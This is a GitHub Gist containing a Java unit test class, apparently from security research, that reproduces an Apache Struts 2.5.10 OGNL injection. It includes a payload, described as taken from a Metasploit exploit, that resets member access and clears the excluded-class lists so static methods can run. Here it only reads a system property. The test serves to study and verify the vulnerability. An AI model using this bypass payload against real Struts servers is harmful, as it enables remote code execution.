Last active
June 7, 2018 09:32
-
-
Save SylvainJuge/7ba5edf3e4a1f2482c909df4bf90a40d to your computer and use it in GitHub Desktop.
Struts 2.5.10 Ognl code execution with unit tests
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package io.sqreen.sandbox; | |
import com.opensymphony.xwork2.ActionContext; | |
import com.opensymphony.xwork2.TextProvider; | |
import com.opensymphony.xwork2.XWorkTestCase; | |
import com.opensymphony.xwork2.conversion.impl.XWorkConverter; | |
import com.opensymphony.xwork2.ognl.OgnlUtil; | |
import com.opensymphony.xwork2.ognl.OgnlValueStack; | |
import com.opensymphony.xwork2.ognl.accessor.CompoundRootAccessor; | |
import com.opensymphony.xwork2.util.CompoundRoot; | |
import com.opensymphony.xwork2.util.LocalizedTextUtil; | |
import com.opensymphony.xwork2.util.ValueStack; | |
import ognl.PropertyAccessor; | |
import org.junit.Test; | |
import java.util.HashMap; | |
import java.util.Locale; | |
import java.util.Map; | |
import java.util.stream.Collectors; | |
import java.util.stream.Stream; | |
public class TestOgnl extends XWorkTestCase { | |
private OgnlUtil ognlUtil; | |
@Override | |
public void setUp() throws Exception { | |
super.setUp(); | |
ognlUtil = container.getInstance(OgnlUtil.class); | |
assertNotNull(ognlUtil); // first step : being able to initialize OgnlUtil class | |
} | |
@Test | |
public void testBasicOgnl() { | |
setupContext(true); // we start with safety checks disabled | |
// check very basic behavior : an unknown localized key is returned as-is | |
assertEquals("hello", getMissingLocalizedText("hello")); | |
} | |
@Test | |
public void testGetSystemProperty_easyMode() { | |
// still with safety checks disabled, we try to get a system property from OGNL expression | |
setupContext(true); | |
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}")); | |
} | |
@Test | |
public void testGetSystemProperty_staticMethodDisabled() { | |
// with safety checks, we arent able to get a system property | |
setupContext(false); | |
assertEquals("", getMissingLocalizedText("%{@java.lang.System@getProperty('os.name')}")); | |
} | |
@Test | |
public void testGetSystemProperty_bypassStaticMethodCheck() { | |
// here we reuse the available exploit to bypass safety checks. | |
// once this works, we have a malicious payload ! | |
setupContext(false); | |
String ognl = Stream.of( | |
// | |
// this is disabling OgnlUtil static method access, directly taken from metaspoilt exploit | |
// here equivalent to executing in plain java : | |
// | |
// ognlUtil.setAllowStaticMethodAccess(Boolean.toString(true)); | |
// | |
"(#[email protected]@DEFAULT_MEMBER_ACCESS).", | |
"(#_memberAccess?", | |
"(#_memberAccess=#dm):", | |
"((#container=#context['com.opensymphony.xwork2.ActionContext.container']).", | |
"(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).", | |
"(#ognlUtil.getExcludedPackageNames().clear()).", | |
"(#ognlUtil.getExcludedClasses().clear()).", | |
"(#context.setMemberAccess(#dm)))).", | |
// | |
// what we expect as output | |
"(@java.lang.System@getProperty('os.name'))" | |
).collect(Collectors.joining()); | |
assertEquals(System.getProperty("os.name"), getMissingLocalizedText("%{" + ognl + "}")); | |
} | |
private void setupContext(boolean allowStaticMethodAccess) { | |
ValueStack valueStack = createValueStack(allowStaticMethodAccess); | |
Map<String, Object> contextObjects = new HashMap<>(); | |
ActionContext actionContext = new ActionContext(contextObjects); | |
actionContext.setValueStack(valueStack); | |
// action context is stored in a thread-local | |
ActionContext.setContext(actionContext); | |
} | |
private String getMissingLocalizedText(String defaultMessage) { | |
System.out.println(String.format("payload : %s", defaultMessage)); | |
return LocalizedTextUtil.findText(TestOgnl.class, "text_that_does_not_exists", Locale.getDefault(), defaultMessage, new Object[0]); | |
} | |
private OgnlValueStack createValueStack(boolean allowStaticMethodAccess) { | |
OgnlValueStack stack = new MyValueStack( | |
container.getInstance(XWorkConverter.class), | |
(CompoundRootAccessor) container.getInstance(PropertyAccessor.class, CompoundRoot.class.getName()), | |
container.getInstance(TextProvider.class, "system"), allowStaticMethodAccess); | |
container.inject(stack); | |
// we have to set stack container | |
stack.getContext().put(ActionContext.CONTAINER, container); | |
ognlUtil.setAllowStaticMethodAccess(Boolean.toString(allowStaticMethodAccess)); | |
return stack; | |
} | |
// we need to subclass because of protected OgnlValueStack constructor | |
// note that we could also have moved this test class to the same package to avoid this | |
private class MyValueStack extends OgnlValueStack { | |
public MyValueStack(XWorkConverter xWorkConverter, CompoundRootAccessor compoundRootAccessor, TextProvider textProvider, boolean allowStaticMethodAccess) { | |
super(xWorkConverter, compoundRootAccessor, textProvider, allowStaticMethodAccess); | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment